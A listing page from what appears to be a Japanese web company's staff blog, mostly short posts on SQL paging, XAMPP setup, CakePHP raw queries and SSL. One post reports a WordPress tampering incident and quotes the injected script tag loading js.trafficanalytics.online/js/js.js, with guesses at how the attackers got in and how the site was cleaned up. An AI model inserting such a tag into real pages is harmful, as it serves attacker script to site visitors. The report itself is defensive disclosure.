2017.06.24 (Sat) Category : SQL,technology Author :

Oracleでページング処理


Web系のシステムで利用されるDBは、PostgresqlやMySQLがあります。MySQLは有償化しましたがそのフォークであるMariaDBが無償で使えるのでいつも便利に使っています。
何が便利なのかというとWebの世界で育ってきたということもあるのでとても便利に使えます。

ページング(ページネーション)

いくつか便利な点がありますがそのうちの一つが「ページング」です。
MySQLだと先頭の100件取得するには以下の通り

SELECT * FROM table WHERE column = ? LIMIT 100 OFFSET 0;

LIMITで取得する件数、OFFSETで何件目から取得するかを指定です。カウントは0から始まるので0を指定すると1件目から。

これをOracleで行うと以下となります。

続きを読む »

2017.05.18 (Thu) Category : Blog Author :

xamppをインストール・設定(Phalcon向け)

最新のxamppのダウンロードから設定までの流れを説明していきます。

環境:Windows 10 64 bit

インストール先:C:xampp


●xamppのダウンロード
xamppを公式からダウンロードを行います。

xamppダウンロード1

「Windows」「Linux」「OS X」の3つのOS向けにが用意されています。
最新をダウンロードするなら、「ダウンロード その他のバージョンについてはこちらをくりっくしてください」をクリックします。

xamppダウンロード2
Windowsにインストールをするという想定で進めていきます。では、最新バージョンの「7.1.2/PHP 7.1.2」の「Downlod(32bit)」をクリックし、xamppをダウンロードをします。

※phalconをこのあとインストールする場合は、PhalconのDLLが7.1に対応していることを確認する必要があります。

ダウンロードはこれで完了です。


●xamppのインストール

次はインストールを行います。

続きを読む »

2017.01.31 (Tue) Category : Blog Author :

サイト改ざん案件(報告)

最近サイト改ざんの対応案件が立て続けに入ったため、同じ被害に合わないために情報共有をします。

今回見つけたのは、以下のスクリプトをscriptタグで自動実行させるプログラムです。

wordpressのとあるページに埋め込まれていました。

”js.trafficanalytics.online/js/js.js”

 

侵入手口から推測すると

  1. wordpressのアカウント奪取
  2. FTPアカウント奪取
  3. DBアカウント奪取
  4. SSHアカウント奪取
  5. ミドルウェアのセキュリティホールをつく

これらのうちどこかのアカウント、セキュリティホールを利用してログイン、もしくはスクリプトを実行しているのではないかと思われます。

 

症状

wordpressのとあるページに

<script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>

というコードが埋め込まれます。
同じコードが同じ場所に連続で埋め込まれていました。

連続で埋め込まれている(規則性がある)というところを見るとなんらかのプログラムされたものによって書き込まれていることが推測されます。
人為的な改ざんではないと考えられます。

さらに、wordpressでは、ログインページからログインし、記事やページを編集した場合はリビジョンを付けて世代管理されます。
世代管理されている状態をみるとその内容は3年前に変更されたということになっていました。

まずは、前の正しい状態に戻しました。

数時間後。。。

またもや改ざんされていました。
今度は、過去のリビジョンもすべて改ざん対象となっていました。
しかも日付は変更されていません。

このことから、直接DBに書き込んだことがわかります。

ということで、DBにログインしてユーザ情報を見てみたところ
すべてのユーザがパスワード無しでアクセスできる状態となっていました。

この設定をちゃんとし、
もちろん既存のユーザはすべて削除し、新規に追加。

パスワード設定しなおしました。

ここで解決ではありません。

どうやってDBにユーザを作成したのか。
そこが問題です。

ということは、
ミドルウェアのセキュリティホールが怪しい。

さらに、apacheのerror.logが参照できたので覗いてみるとmod_wsgiに対してかなりの数の攻撃がありました。おおよそここが原因ではないかと考えます。
普通にapache運用しているとmod_swgiなんて入れないんですがどうやらそこのレンタルサーバーやさんのコントロールパネルがphthonで動作するらしくそのために入っているっぽいです(推測)

とりあえずなんとなく原因がわかったのですが、
また攻撃されるかもしれません。

できる対応とすれば、残りは、FTPのパスワード変更です。
SSHもあればパスワード変更。

それでも改ざんされるようであれば、セキュリティホールを突かれているとしか考えられないので、おおよそmod_wsgiであ廊下と思います。
こうなればサーバー事業者に相談するしか方法はありません。

調査依頼ありましたら、ご相談に応じます。


2017.01.13 (Fri) Category : News,technology,制作事例 Author :

Alibaba E-Auto プレゼンツ FIFAクラブワールドカップ ジャパン 2016 「世界とつながれ!応援キャラバン」アプリケーション周りを担当しました

クラブワールドカップ開催までの間、大会を盛り上げようというイベントが東京・横浜・大阪を中心とした全国各所で「世界とつながれ、応援キャラバン!」として実施されました。キャラバンは360度カメラを使い、応援を意味する“円陣”を組み、その姿を撮影するオリジナルアプリ(←ここを担当)を開発。また、アプリから印刷をコントロールする部分も開発。

(依頼元はWR(ダブリューアール)http://wr-inc.jp/event-promotion/1425/

システムとしては、iPad miniとリコーのTheta S(360度カメラ)をwi-fiで接続。撮影したデータは、瞬時にipad miniに転送されます。転送された写真データは、円陣写真に加工し、4Gを利用し、WEB上のDBに転送。WEB上に転送された写真データは印刷用の3台のipad miniへラウンドロビンで配信される。配信時に写真の明度(アルファ)を調整し送信します。送信された写真は、air printにて、モバイルプリンタ(Canonのセルフィー)にて印刷される。

このような特殊なシステムでもお受けいたします!ご要望は下記へお問い合わせください。

システムの全体イメージ

 

ThetaSコントロールアプリ概要

イベントの様子

 


2016.12.16 (Fri) Category : Blog Author :

cakephp3 SQLを直接入力し実行するには

SQL
データベースを実行するやり方は、色々存在します。その中には、直接SQLのコードを入力し実行するというやり方もあります。やはり、内容が複雑であればあるほどややこしくなり、直接SQLを入力したくなる時がありますよね。

ということで、やり方は以下の通りです。

use Cake\Datasource\ConnectionManager;
$sql = 'SELECT * FROM hoge WHERE hoge=1';
   
$connection = ConnectionManager::get('default');
$results = $connection->execute($sql)->fetchAll('assoc');

 


おまけですが、Cakephp2でも直接SQLを入力することができるみたいです。ですが全く記述の仕方が異なりました。

$this->Timelog->query('SELECT * FROM hoge WHERE hoge=1');

え、うそ
これだけ?( ゚Д゚)

 

実際、cakephp2の方では上記のコードを使用した動作確認をしていないため、上記のコードで動く確証はないのですが、cakephp3とcakephp2とではまったく仕様が違うなと、たびたび実感する私です
(´・ω・`)

2016.12.09 (Fri) Category : technology Author :

スパゲッティコードとは

 

スパゲッティーコードとは、流れ・構造が理解しにくいソースコードのことをいいます。

スパゲッティーの麺はどのように繋がっているかわからないですよね。

まさにスパゲッティーの見た目のまんまから名前がついた感じです。

 

このブログ内容を書くきっかけになったのは、まさに以前

スパゲッティーコードだね

と言われてしまったからですね。

私のソースコードは、よくスパゲッティーになっちゃいます。。(^^;

やはり、わかりやすいコードでないとエラーが多発した際など、スムーズに対応ができなかったりします・・・・・・はい、以後気を付けます!!

そして、きれいなソースコードになるとすっきりして気持ち良かったりもします!!皆さんもスパゲッティーコードになった際には、ほどいてあげるといいかもしれませんね(^^)/

 

 

スパゲッティもし本物のスパゲティの方をほどいてまっすぐにしたら、どうなるんだろうか・・・( ;´Д`)ノ~~~~~~←スパゲティ

2016.12.02 (Fri) Category : HTML5,Javascript,technology Author :

PHP リンクからPOSTデータを渡すには

data

使用する場合と致しましては、、

リンクのデザインを保持したままPOSTデータを送信したーい!という時に使っちゃいます。

(ボタンを使用しない)

 

(例)index.phpへ送信する場合


<form name="form1" method="POST" action="index.php" >
<a href="javascript:document.form1.submit()">Submit</A>
<input type="hidden" name="hogehoge_status" value="1">
</form>

普通にformでかこってあげます。

そして、リンクの<a href =””>のなかにJavaScriptの処理をいれることで

リンクをクリックすると同時にPOSTデータを送ることができます。

2016.11.25 (Fri) Category : Blog,SQL,technology Author :

データベースの種類

DB
データベースにはさまざまな種類があります。
リレーショナル型データベース(RDBMS)

階層型データベース(HDB)

ネットワーク型データベース(NDB)

キー・バリュー型データストア(KVS)

カラム型データベース

 


そして、よく使用されるデータベースはRDBMSです。

RDBMSのソフトウェアの種類

  • MySQL
  • PostgeSQL
  • Microsoft SQL Server
  • Oracle DB
  • Informix
  • DB2

 

オープンソース:「MySQL」「PostgeSQL」


 

*RDBMSの特徴*

RDBMSはSQLを使用します。

SQLは、ISOで言語仕様の標準化ができているため、基本的なSQLを覚えておけば各種のRDBMSを扱うことができます。

※ただし、ベンダーごとに独自実装されている仕様もあります

 

 

2016.11.24 (Thu) Category : Blog Author :

BLACK FRIDAYブームの予感

BLACK FRIDAY

なんかここ最近みかけるようになった「ブラックフライデー」。違和感がありすぎる。2月の恵方巻きはまだ日本の文化を日本中に広めたのはよいとして、これは何?と思って調べてみました。

続きを読む »

2016.11.18 (Fri) Category : Blog,LINE,News, Author :

ネットには神様がいる 「ネットは票にならない」が覆った日 -山田太郎 (著)

告知忘れてました。昨日が発売日でした。。。本が発売されました。暇神様が表紙を飾った記念すべき著書がAmazonだけでなく一般書店でも買えるんです!買ってください。お願いします!

買ってくれた人には、ラインスタンププレゼントするかも!?07


ネットには神様がいる 「ネットは票にならない」が覆った日 単行本(ソフトカバー) – 2016/11/17 山田太郎 (著)

 

マサオ←暇神様のイラスト著者です!

 

LINEスタンプもあるよ。ストアはこちら。
暇神様

2016.11.18 (Fri) Category : technology Author :

SQLのUNSIGNEDとは?

UNSIGEDとはなんでしょう。

UNSIGNED

unsigned long integer」あるいは「unsigned long

このIT言語の意味と同じであるといえます。

 

意味は、「負の数を表さない符号のない長い整数」

ということなので、単純に負の整数を扱わない場合にUNSIGEDを定義したらよいということですね。

 

 

でも、なぜわざわざ定義する必要があるの?

 

 

そうですね、符号があるないという言葉だけでは必要性が全く分かりません。

 

 

わかる人は以下の説明は見ても見なくてもいいですよ。

でも、見ていただけると私はめっちゃくちゃうれしいです!!

 

続きを読む »

2016.11.16 (Wed) Category : technology Author :

常時SSL化のすすめ

グローバルで常時SSL化の波がきています。15944989872_b958dc5552_m

なぜこのようなことが騒がれてきたかというと、単に安全性というだけではなく、Googleの検索エンジンがSSL化されているかどうかで、検索の順位に影響があると発表したことによります。SEO対策の一環としてもSSL化をやってみてはいかがでしょうか。

 

そもそもSSLとな何なのか簡単に解説します。

なぜSSLを使うかというと、SSLにすることで常に通信経路を暗号化して行うことができ、データの安全性が保てます。

SSLとはSecure Sockets Layerの略であり、WebサーバとWebブラウザが安全な通信を行うための仕組みのことです。
常時SSL化とは、一部のWebページだけではなくWebサイト全体を対象にSSLを用いてセキュリティを高めることです。
URLを書くときにhttpと指定しますが、これをhttpsとしたときのことです。すべてのページがhttpsでアクセスすることができるようにしようということです。

早速ですが弊社のこのstaff blog(https://staff.qualias.jp/)を常時SSL化しました。

SSLをするには証明書とか必要なのですが、それらを現在無料で提供しているletsencryptというところで取得しています。(Let’s Encrypt 総合ポータル)

比較的簡単にSSL化できますので御社のウェブサイトもSSL化してみてはどうでしょうか。

 

ちなみに、弊社でSSL化コンサルティングも行っておりますのでお気軽にお問い合わせください。

(株式会社クオリアシステムズのお問い合わせフォームへ)

 

以下、シマンテックサイトより(https://www.symantec.com/ja/jp/page.jsp?id=always-on-ssl

常時SSLとは?

続きを読む »

%d人のブロガーが「いいね」をつけました。